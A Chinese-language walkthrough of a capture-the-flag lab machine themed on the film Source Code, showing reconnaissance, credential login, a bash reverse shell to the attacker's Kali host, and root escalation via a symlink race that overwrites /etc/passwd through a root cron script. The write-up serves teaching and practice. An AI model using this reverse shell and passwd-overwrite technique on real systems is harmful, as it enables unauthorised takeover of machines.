

| SourceCode_daochunhan

| user

nmap 扫描，开放 22 (SSH) 和 80 (HTTP) 两个端口：

```
nmap 192.168.64.24
```

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-16 07:39 -0400
```

```
Nmap scan report for 192.168.64.24
```

```
Host is up (0.00030s latency).
```

```
Not shown: 998 closed tcp ports (reset)
```

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
80/tcp    open  http
```

```
MAC Address: B6:04:69:DF:69:AD (Unknown)
```

```
Nmap done: 1 IP address (1 host up) scanned in 1.15 seconds
```

访问 80 端口，页面底部直接给出了一组凭据： [huazai](#) / [s7Mb0Mmbf5QqiMLrdIB](#)

S O U R C E P L A N · P R O T O C O L ||

⚠ BOMB ARMED

```
> Agent, you have 8 minutes.  
> Locate the bomb. Seize control. Disarm it.  
> When time expires, the system will reset automatically.  
■ SYSTEM ARMED ■
```

```
> Authentication channel open...  
> Clues are buried in shadow, not light.
```

▶ ACCEPT MISSION

```
ACCESS GRANTED  
User: huazai  
Pass: s7Mb0Mmmbf5QqiMLrdIB  
  
Use these credentials to infiltrate the system.  
Time is running out.
```

试了一下发现这组凭据不能直接 SSH。用 dirsearch 扫目录，扫出两个有效路径 `/login.php` 和 `/shell.php`：

Target: <http://192.168.64.24/>

[07:40:47] Starting:

```
[07:40:56] 403 - 318B - /.ht_wsr.txt
[07:40:56] 403 - 318B - /.htaccess.bak1
[07:40:56] 403 - 318B - /.htaccess.orig
[07:40:56] 403 - 318B - /.htaccess.sample
[07:40:56] 403 - 318B - /.htaccess.save
[07:40:57] 403 - 318B - /.htaccess_orig
[07:40:57] 403 - 318B - /.htaccess_extra
[07:40:57] 403 - 318B - /.htaccess_sc
[07:40:57] 403 - 318B - /.htaccess0LD
[07:40:57] 403 - 318B - /.htaccessBAK
[07:40:57] 403 - 318B - /.htaccess0LD2
[07:40:57] 403 - 318B - /.html
[07:40:57] 403 - 318B - /.htm
[07:40:57] 403 - 318B - /.htpasswd_test
[07:40:57] 403 - 318B - /.htpasswds
[07:40:57] 403 - 318B - /.httr-oauth
[07:41:02] 403 - 318B - /.php
[07:43:19] 200 - 357B - /login.php
[07:44:23] 403 - 318B - /server-status
[07:44:23] 403 - 318B - /server-status/
[07:44:27] 200 - 29B - /shell.php
```

Task Completed

在 [/login.php](#) 用凭据登录，认证成功：

◆ SOURCE PLAN TERMINAL ◆

huazai

.....

▶ AUTHENTICATE

登录后进入 `/shell.php`，反弹 shell 到 Kali：

```
bash -c 'bash -i >& /dev/tcp/192.168.64.10/4444 0>&1'
```

```
← → ↻ ⚠ 不安全 192.168.64.24/shell.php ☆ 📁 | 🔍
```

```
SOURCE PLAN // RESTRICTED TERMINAL [v1.5]
> Unauthorized access is monitored.
> Time remaining: unknown.
-----

www-data@maze:/var/www/html$ bash -c 'bash -i >& /dev/tcp/192.168.64.10/4444 0>&1'|
```

Kali 上 `nc -lvnp 4444` 接到 shell，升级 TTY 后 `su huazai`：

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

```
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.64.10] from (UNKNOWN) [192.168.64.24] 59842
bash: cannot set terminal process group (539): Inappropriate ioctl for device
bash: no job control in this shell
www-data@SourceCode:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@SourceCode:/var/www/html$ whoami
whoami
www-data
www-data@SourceCode:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ml$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@SourceCode:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@SourceCode:/var/www/html$ su huazai
su huazai
Password: s7Mb0Mmbf5QqiMLrdIB
```

输入密码后终端弹出 tty-clock 时钟显示：



07:56:22

翻一下目录，在 `/opt/backup/` 下找到 `user.txt`：

```
www-data@SourceCode:/$ cd opt
cd opt
www-data@SourceCode:/opt$ ls -al
ls -al
total 16
drwxr-xr-x  3 root root 4096 Jun 14 05:12 .
drwxr-xr-x 18 root root 4096 Jun  3 07:12 ..
drwxr-xr-x  2 root root 4096 Jun 14 04:05 backup
-rwxr-xr-x  1 root root  360 Jun 14 05:12 boob.sh
www-data@SourceCode:/opt$ cd backup
cd backup
www-data@SourceCode:/opt/backup$ ls -al
ls -al
total 24
drwxr-xr-x 2 root  root  4096 Jun 14 04:05 .
drwxr-xr-x 3 root  root  4096 Jun 14 05:12 ..
-rw-r--r-- 1 huazai huazai  220 Jun 14 03:42 .bash_logout
-rw-r--r-- 1 huazai huazai 3542 Jun 14 04:13 .bashrc
-rw-r--r-- 1 huazai huazai  807 Jun 14 03:42 .profile
-rw-r--r-- 1 root   root    44 Jun 14 04:04 user.txt
www-data@SourceCode:/opt/backup$ cat user.txt
cat user.txt
flag{user-945d9178d85464137929353a7c3a5857}
www-data@SourceCode:/opt/backup$
```

| root

/opt/ 下有一个 root 所有的 boob.sh 脚本：

```
drwxr-xr-x  2 root root 4096 Jun 14 04:05 backup
-rwxr-xr-x  1 root root  360 Jun 14 05:12 boob.sh
www-data@SourceCode:/opt$ cat boob.sh
cat boob.sh
#!/bin/bash

# clean home
rm -rf /home/huazai/*
rm -rf /home/huazai/*.*

# clean tmp
rm -rf /tmp/*
rm -rf /tmp/*.*

rm -rf /var/tmp/*
rm -rf /var/tmp/*.*

# copy file keep all
cp -La /opt/backup/*.* /home/huazai/
cp -La /opt/backup/user.txt /home/huazai/user.txt

#kick out
pkill -9 -u huazai
for i in $(ls /dev/pts)
do
    echo "! Source Code" > /dev/pts/$i
done
```

脚本逻辑：清空 `/home/huazai/`、`/tmp/`、`/var/tmp/`，然后用 `cp -La` 将 `/opt/backup/` 中的文件复制回 `/home/huazai/`，最后 `pkill -9 -u huazai` 踢掉用户。

关键在 `cp -La`：以 root 身份执行，且 `cp` 会沿着目标位置的符号链接写入。如果 `/home/huazai/.bashrc` 是指向 `/etc/passwd` 的软链接，root 执行 `cp` 时就会把 `/opt/backup/.bashrc` 的内容直接写进 `/etc/passwd`。

`su huazai` 进入 shell：

```

www-data@SourceCode:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@SourceCode:/var/www/html$ stty sane
stty sane
www-data@SourceCode:/var/www/html$ su huazai -s /bin/sh
su huazai -s /bin/sh
Password: s7Mb0Mmbbf5QqiMLrdIB

$ id
id
uid=1000(huazai) gid=1000(huazai) groups=1000(huazai),100(users)
$ whoami
whoami
huazai

```

生成密码为 **123456** 的 **passwd** 条目，追加到 **/etc/passwd** 副本末尾，覆盖到 **/opt/backup/.bashrc**：

```

www-data@SourceCode:/var/www/html$ HASH='$6$pwn$qy6XQ6DAJ8NhPIgX1f6XNnmc/HLNVanFkIJMcZfweahZjPRGeX3fcqWFgoWzZX5gNSL7XEdJBEGZ1FMCYExxx.'
<cZfweahZjPRGeX3fcqWFgoWzZX5gNSL7XEdJBEGZ1FMCYExxx.'
www-data@SourceCode:/var/www/html$ cp /etc/passwd /var/cache/apache2/mod_cache_disk/pwnnew
</etc/passwd /var/cache/apache2/mod_cache_disk/pwnnew
www-data@SourceCode:/var/www/html$ echo "pwn:$HASH:0:0:root:/root:/bin/bash" >> /var/cache/apache2/mod_cache_disk/pwnnew
<in/bash" >> /var/cache/apache2/mod_cache_disk/pwnnew
www-data@SourceCode:/var/www/html$ tail -1 /var/cache/apache2/mod_cache_disk/pwnnew
<ml$ tail -1 /var/cache/apache2/mod_cache_disk/pwnnew
pwn:$6$pwn$qy6XQ6DAJ8NhPIgX1f6XNnmc/HLNVanFkIJMcZfweahZjPRGeX3fcqWFgoWzZX5gNSL7XEdJBEGZ1FMCYExxx.:0:0:root:/root:/bin/bash

```

```
cat /var/cache/apache2/mod_cache_disk/pwnnew > /opt/backup/.bashrc
```

创建竞态，持续将 **/home/huazai/.bashrc** 重建为指向 **/etc/passwd** 的软链接

因为 **boob.sh** 会先 **rm -rf /home/huazai/*** 删掉一切再 **cp**，需要不断重建防止被清除：

```
while true; do ln -sf /etc/passwd /home/huazai/.bashrc; done >/dev/null
2>&1 &
```

等 **boob.sh** 触发后，**/etc/passwd** 被覆盖，**su pwn** 密码 **123456** 获得 root：

```

$ Killed
! Source Code
www-data@SourceCode:/var/www/html$ getent passwd pwn
getent passwd pwn
pwn:$6$pwn$qy6XQ6DAJ8NhPIgX1f6XNnmc/HLNVanFkIJMcZfweahZjPRGeX3fcqWFgoWzZX5gNSL7XEdJBEGZ1FMCYExxx.:0:0:root:/root:/bin/bash
www-data@SourceCode:/var/www/html$ su pwn
su pwn
Password: 123456

root@SourceCode:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@SourceCode:/var/www/html# whoami
whoami
root
root@SourceCode:/var/www/html# cat /root/root.txt
cat /root/root.txt
flag{root-d854d6197d2345c36879dff1ea0bbb42}

```


I add

靶机主题来自电影《源代码》(Source Code, 2011) 真的去看了这个电影 (的解说), 主角每次只有 8 分钟在列车上排查炸弹, 对应 `su huazai` 后 8 分钟被 kill 的设定

基于这个设定群主提到了可以用“拆弹”的思路, 用同样的 `cp -La` 符号链接竞态, 但目标不是 `/etc/passwd`, 而是 `boob.sh` 本身:

```
while true; do ln -sfn /opt/boob.sh /home/huazai/user.txt; done >/dev/null 2>&1 &
```

```
stty raw -echo; fg
[1] + continued nc -lvnp 4444
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@SourceCode:/var/www/html$ su huazai
Password:
bash: root:x:0:0:root:/root:/bin/bash: No such file or directory
bash: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such file or directory
bash: bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such file or directory
bash: sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such file or directory
bash: sync:x:4:65534:sync:/bin:/bin/sync: No such file or directory
bash: games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such file or directory
bash: man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such file or directory
bash: lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such file or directory
bash: mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such file or directory
bash: news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such file or directory
bash: uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such file or directory
bash: proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such file or directory
bash: www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such file or directory
bash: backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such file or directory
bash: list:x:38:38:Mailing: command not found
bash: irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such file or directory
bash: _apt:x:42:65534:/nonexistent:/usr/sbin/nologin: No such file or directory
bash: nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such file or directory
bash: systemd-network:x:998:998:systemd: command not found
bash: dhcpd:x:100:65534:DHCP: command not found
bash: systemd-timesync:x:991:991:systemd: command not found
bash: messagebus:x:990:990:system: command not found
bash: sshd:x:989:65534:sshd: command not found
bash: huazai:x:1000:1000:,,,:/home/huazai:/bin/bash: No such file or directory
bash: pwn:/HLNVanFkIJMcZfweahZjPRGeX3fcqWFgoWzZX5gNSL7XEdJBEGZ1FMCYExxx.:0:0:root:/root:/bin/bash: No such file or director
y
huazai@SourceCode:/var/www/html$ while true; do ln -sfn /opt/boob.sh /home/huazai/user.txt; ^C
huazai@SourceCode:/var/www/html$ ^C
huazai@SourceCode:/var/www/html$ ^C
huazai@SourceCode:/var/www/html$ ^C
i/user.txt; done >/dev/null 2>&1 &
[1] 652
huazai@SourceCode:/var/www/html$ cat /opt/boob.sh
flag{user-945d9178d85464137929353a7c3a5857}
huazai@SourceCode:/var/www/html$ sudo -l
```

`cp -La /opt/backup/user.txt /home/huazai/user.txt` 沿着软链接把 flag 内容写进 `boob.sh`, MD5 改变, huazai 不再被踢, 炸弹拆除

用 pspy 监控进程, 发现 root 的 cron 每分钟执行 `/root/check_boob.sh`:

```

stty raw -echo; fg
2026/06/16 14:20:36 CMD: UID=0 PID=3 |
2026/06/16 14:20:36 CMD: UID=0 PID=2 |
2026/06/16 14:20:36 CMD: UID=0 PID=1 | /sbin/init
2026/06/16 14:20:53 CMD: UID=0 PID=66683 |
2026/06/16 14:20:53 CMD: UID=0 PID=66685 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66686 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66688 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66687 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66689 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66690 | sed -n s/^search //p eth0.dhcp eth0.dhcp6 eth0.ra
2026/06/16 14:20:53 CMD: UID=0 PID=66692 | sed -n s/^nameserver //p eth0.dhcp eth0.dhcp6 eth0.ra
2026/06/16 14:20:53 CMD: UID=0 PID=66691 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66694 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66695 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:20:53 CMD: UID=0 PID=66696 | /bin/sh /usr/lib/dhpcpd/dhpcpd-run-hooks
2026/06/16 14:21:01 CMD: UID=0 PID=66697 | /usr/sbin/CRON -f
2026/06/16 14:21:01 CMD: UID=0 PID=66698 | /usr/sbin/CRON -f
2026/06/16 14:21:01 CMD: UID=0 PID=66699 |
2026/06/16 14:21:01 CMD: UID=0 PID=66700 |
2026/06/16 14:21:01 CMD: UID=0 PID=66701 |
2026/06/16 14:21:01 CMD: UID=0 PID=66702 | /usr/sbin/CRON -f
2026/06/16 14:21:01 CMD: UID=0 PID=66703 | /sbin/modprobe -q -- net-pf-16-proto-9
2026/06/16 14:21:01 CMD: UID=0 PID=66704 |
2026/06/16 14:21:01 CMD: UID=0 PID=66705 |
2026/06/16 14:21:01 CMD: UID=0 PID=66706 |
2026/06/16 14:21:01 CMD: UID=0 PID=66707 |
2026/06/16 14:22:01 CMD: UID=0 PID=66708 | /usr/sbin/CRON -f
2026/06/16 14:22:01 CMD: UID=0 PID=66709 | /usr/sbin/CRON -f
2026/06/16 14:22:01 CMD: UID=0 PID=66710 |
2026/06/16 14:22:01 CMD: UID=0 PID=66711 |
2026/06/16 14:22:01 CMD: UID=0 PID=66712 |
2026/06/16 14:22:01 CMD: UID=0 PID=66713 | /usr/sbin/CRON -f
2026/06/16 14:22:01 CMD: UID=0 PID=66714 |
2026/06/16 14:22:01 CMD: UID=0 PID=66715 | /bin/sh -c /bin/bash /root/check_boob.sh
2026/06/16 14:22:01 CMD: UID=0 PID=66716 | /sbin/modprobe -q -- net-pf-16-proto-9
2026/06/16 14:22:01 CMD: UID=0 PID=66717 |

```

```

root@SourceCode:/var/www/html# cat /root/check_boob.sh
cat /root/check_boob.sh
#!/bin/bash

a=$(md5sum /opt/boob.sh |awk '{print $1}')
b=$(cat /root/boob.md5)

if [[ "$a" != "$b" ]];then
    echo "NB"
    echo 'newhuazai:$1$glNVyWJt$PFjPX4c3rELx4eMD8NBBJ.:0:0:xxoo,,,:/root:/bin/bash' >> /etc/passwd
    rm /root/check_boob.sh
fi
root@SourceCode:/var/www/html#

```

`check_boob.sh` 的逻辑是对比 `boob.sh` 的 MD5 与存档值，不一致时往 `/etc/passwd` 追加一个 UID=0 的 `newhuazai` 用户，然后自删除，炸弹被拆除后进入平行时空 huazai 重生

竞态命中后 `grep newhuazai /etc/passwd` 确认用户已写入，密码与 huazai 相同：

```

daochunhan@kali ~ (31.641s)
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.64.10] from (UNKNOWN) [192.168.64.28] 52754
bash: cannot set terminal process group (590): Inappropriate ioctl for device
bash: no job control in this shell
www-data@SourceCode:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ml$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@SourceCode:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@SourceCode:/var/www/html$ ^Z
zsh: suspended nc -lvnp 4444

```

```

daochunhan@kali ~ (15m 18.00s)
stty raw -echo; fg
[1] + continued nc -lvnp 4444
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@SourceCode:/var/www/html$ su huazai
Password:
huazai@SourceCode:/var/www/html$ nohup sh -c 'while ;; do ln -snf /opt/boob.sh /home/huazai/user.txt; done' >/dev/null 2>&1
&
[1] 692
huazai@SourceCode:/var/www/html$ watch -n 10 'grep newhuazai /etc/passwd'
huazai@SourceCode:/var/www/html$ grep newhuazai /etc/passwd
newhuazai:$1$glNVyWJt$PFjPX4c3rELx4eMD8NBBJ.:0:0:xxoo,,,:/root:/bin/bash
huazai@SourceCode:/var/www/html$ cat /opt/boob.sh
flag{user-945d9178d85464137929353a7c3a5857}
huazai@SourceCode:/var/www/html$ su newhuazai
Password:
root@SourceCode:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@SourceCode:/var/www/html# whoami
root
root@SourceCode:/var/www/html# cat /root/root.txt
flag{root-d854d6197d2345c36879dff1ea0bbb42}
root@SourceCode:/var/www/html#

```

`su newhuazai`，密码 `s7Mb0Mmbf5QqiMLrdIB`，直接获得 root

`.bashrc` 末尾的 `tty-clock -scD` 就是登录后看到的终端时钟：

```

if ! shopt -oq posix; then
    if [ -f /usr/share/bash-completion/bash_completion ]; then
        . /usr/share/bash-completion/bash_completion
    elif [ -f /etc/bash_completion ]; then
        . /etc/bash_completion
    fi
fi
tty-clock -scD
www-data@SourceCode:/var/www/html$ cat /opt/boob.sh

```